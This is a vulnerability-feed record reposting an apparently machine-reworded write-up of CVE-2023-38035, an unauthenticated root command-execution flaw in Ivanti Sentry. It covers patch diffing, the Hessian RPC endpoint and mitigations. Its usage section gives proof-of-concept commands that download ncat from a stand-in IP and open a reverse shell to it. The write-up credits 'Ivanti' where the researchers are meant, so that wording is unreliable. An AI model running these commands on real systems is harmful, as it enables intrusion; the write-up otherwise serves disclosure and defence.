{"uuid": "c9269d87-d43b-46f0-af26-0834e7646e04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-38035", "type": "seen", "source": "https://t.me/hacking_Attack/116381", "content": "Kali Linux Tutorials\nCVE-2023-38035 \u2013 Arbitrary Command Execution As The Root user On Ivanti Sentry\n\nIvanti has just put out a warning about CVE-2023-38035. The vulnerability has been added to CISA KEV and is called an authentication bypass in the Ivanti Sentry user interface. \n\nThis new flaw comes after a flaw in Ivanti EPMM (CVE-2023-35078) that was already being used in the wild. In this post, we\u2019ll look closely at how this new flaw can be used to let an attacker run code as the root user from afar. Here is where you can find our POC. Patch DiffingThe advice has rpm files that we can use to fix versions of Ivanti Sentry that are supported. We look at what\u2019s in these files with the tool rpm2cpio to get a better idea of how the patch works.\n\nIvanti find two more rpm files, one called mi-mics and the other mi-system-scripts. Let\u2019s look at what\u2019s in the mi-mics rpm.\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN_Uzkhv7rwDREGnA2_CHhndcicFGtRzOfAWQXEIHu6cEBephCVzuO80BQB1LoqeUwfR2_1PVTQt_v0gJbrsjiCx1GQfUSsbrT6Fn8tLm87P_ZyA79rLLeXosGBk5ir_65Yc3KV3Q7GWgy9q-Wp1g18hs13SBaH6KPV_F0Xv8q8lFUi6kMFQ22406UUw/s16000/carbon-1.png.webp Hessian RPCLet\u2019s take a step back and figure out how these functions are meant to be called. We know from the advisory that this should be an HTTP vulnerability, but these functions don\u2019t look like normal HTTP endpoints.\n\nIf Ivanti look at the file remoting-servlet.xml from earlier, Ivanti can see that this service refers to a class called SentryMicsHessianServiceExporter. \n\nIvanti had never heard of Hessian before, but after looking it up on the internet, it seems to be a type of binary/XML RPC. The link is: http://hessian.caucho.com/doc/\n\nIvanti can try to connect this service by using the python-hessian package.\nhttps://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_4EbwrmIJBXWbFVhyk5YpozRfTUsQO8GPFYqTBdYvgaaU9gpG57PATgC5Fc8P4E0cTzdJ4qYI2ckFH7SMqEJYff_RNmjDqYp4X5SxATdA-sI1-qhjOvE5HTm-veP7bh4f7pR-GywiOQtPty5f2YjvgHJ1UdnrrDO_r92IhO8CIHoTR6IhTu1pEVZs8Q/s16000/Screenshot-2023-08-23-at-11.26.38-AM.png.webp \nHere, Ivanti can see that calling methods from this service is pretty easy. The only thing that makes things harder is that it doesn\u2019t seem to be easy to turn off SSL certificate checks. To get around this, we change the way python-hessian uses HTTPS Connection. Technical AnalysisA technical root cause analysis of the vulnerability can be found on Ivanti blog Usagepython3 CVE-2023-38035.py -u https://<target:8443/ -c 'wget http://123.123.123.123:8000/ncat -O /tmp/ncat'\n[+] Successfully executed command on target!\npython3 CVE-2023-38035.py -u https://<target:8443/ -c 'chmod +x /tmp/ncat' \n[+] Successfully executed command on target!\npython3 CVE-2023-38035.py -u https://<target:8443/ -c 'sudo /tmp/ncat 123.123.123.123 4444 -e /bin/sh'\n[+] Successfully executed command on target!https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_yPQSyAPGZzmHO_d-jROmbo50Y1_hmgJyT8mFjGS3H_NG7uk365pFzJ1TBzEJVbfBFIyDqFfxeCjgJvIveAiX8BALNkeZTKcjRYa4tUI1THuFd7JtXKqFy_YTqHLNzOT4MOJ7KVhjcxqmkNRMO7Q1DRRnwnw6tP4ZUSBr-SHWJ8imdhNrzUE1tKq2BA/s16000/shell.png MitigationsUpdate to the latest version according to the instructions within the Ivanti Advisory Follow The Horizon3.ai Attack Team On Twitter For The Latest Security Research:* Horizon3 Attack Team\n* James Horseman\n* Zach Hanley\n\nThis software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly. SummaryIvanti were able to use an exposed endpoint to run arbitrary tasks without needing to log in. Shodan shows that this product can be found on the internet more than 500 times.\n\nIvanti suggest that people who use this product and are affected put the patch for their version on and make sure it isn\u2019t open to the internet if they can.", "creation_timestamp": "2026-09-01T20:00:52.345591Z"}